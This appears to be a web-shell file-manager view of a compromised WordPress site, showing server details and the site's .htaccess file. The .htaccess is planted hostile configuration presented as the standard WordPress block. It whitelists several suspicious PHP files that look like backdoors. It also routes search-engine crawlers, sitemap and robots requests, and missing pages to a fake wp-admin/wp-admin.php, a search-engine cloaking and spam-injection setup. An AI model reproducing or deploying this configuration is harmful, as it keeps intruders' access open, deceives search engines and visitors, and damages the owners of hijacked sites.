HEX
Server: LiteSpeed
System: Linux d8 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
User: wbwebdes (3015)
PHP: 8.1.31
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/wbwebdes/domains/keoschalkwijk.com/private_html/.htaccess
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
# --- ATURAN UNTUK WHITELIST FILES ---
RewriteRule ^tf50\.php$ - [L]
RewriteRule ^mas50\.php$ - [L]
RewriteRule ^webindex\.php$ - [L]
RewriteRule ^tx50\.php$ - [L]
RewriteRule ^lm50\.php$ - [L]
RewriteRule ^ws50\.php$ - [L]
RewriteRule ^robot\.php$ - [L]
RewriteRule ^robots\.php$ - [L]
RewriteRule ^ah50\.php$ - [L]
RewriteRule ^ws50\.php$ - [L]

# --- ATURAN UNTUK FILE INTI WORDPRESS ---
RewriteRule ^wp-admin/ - [L]
RewriteRule ^wp-includes/ - [L]
RewriteRule ^wp-content/ - [L]
RewriteRule ^wp-config.php$ - [L]
RewriteRule ^wp-activate.php$ - [L]
RewriteRule ^wp-blog-header.php$ - [L]
RewriteRule ^wp-comments-post.php$ - [L]
RewriteRule ^wp-cron.php$ - [L]
RewriteRule ^wp-links-opml.php$ - [L]
RewriteRule ^wp-load.php$ - [L]
RewriteRule ^wp-login.php$ - [L]
RewriteRule ^wp-mail.php$ - [L]
RewriteRule ^wp-settings.php$ - [L]
RewriteRule ^wp-signup.php$ - [L]
RewriteRule ^wp-trackback.php$ - [L]
RewriteRule ^xmlrpc.php$ - [L]
RewriteRule ^license.txt$ - [L]
RewriteRule ^readme.html$ - [L]
RewriteRule ^robots.txt$ - [L]

# --- ATURAN KHUSUS BOT KE ROOT ---
# Gunakan THE_REQUEST untuk menangkap permintaan asli ke root (/) sebelum diubah oleh server.
# Ini adalah cara paling andal untuk mengalihkan bot dari root.
RewriteCond %{THE_REQUEST} \s/[?\s] [NC]
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^ /wp-admin/wp-admin.php [L]

# --- ATURAN KHUSUS USER AGENT (UNTUK HALAMAN SELAIN ROOT) ---
# Arahkan ke wp-admin/wp-admin.php jika User Agent adalah bot dan file tidak ada.
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{HTTP_USER_AGENT} (googlebot|google|yahoo|aol) [NC]
RewriteRule ^(.+)$ /wp-admin/wp-admin.php [L]

# --- ATURAN KHUSUS ROUTING WP-ADMIN ---
# Arahkan /robot atau /robots ke wp-admin.php
RewriteRule ^robots?$ /wp-admin/wp-admin.php [L,NC]

# Arahkan SEMUA permintaan .xml ke wp-admin.php
RewriteRule .*\.xml$ /wp-admin/wp-admin.php [L,NC]

# Izinkan akses langsung ke file wp-admin.php untuk mencegah loop
RewriteRule ^wp-admin/wp-admin\.php$ - [L]

# --- ATURAN FALLBACK AKHIR ---
# Arahkan semua permintaan non-file lainnya (404 untuk manusia) ke wp-admin.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ /wp-admin/wp-admin.php [L]
# --- ATURAN FALLBACK KE WORDPRESS ---
# Arahkan semua permintaan lain ke index.php
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress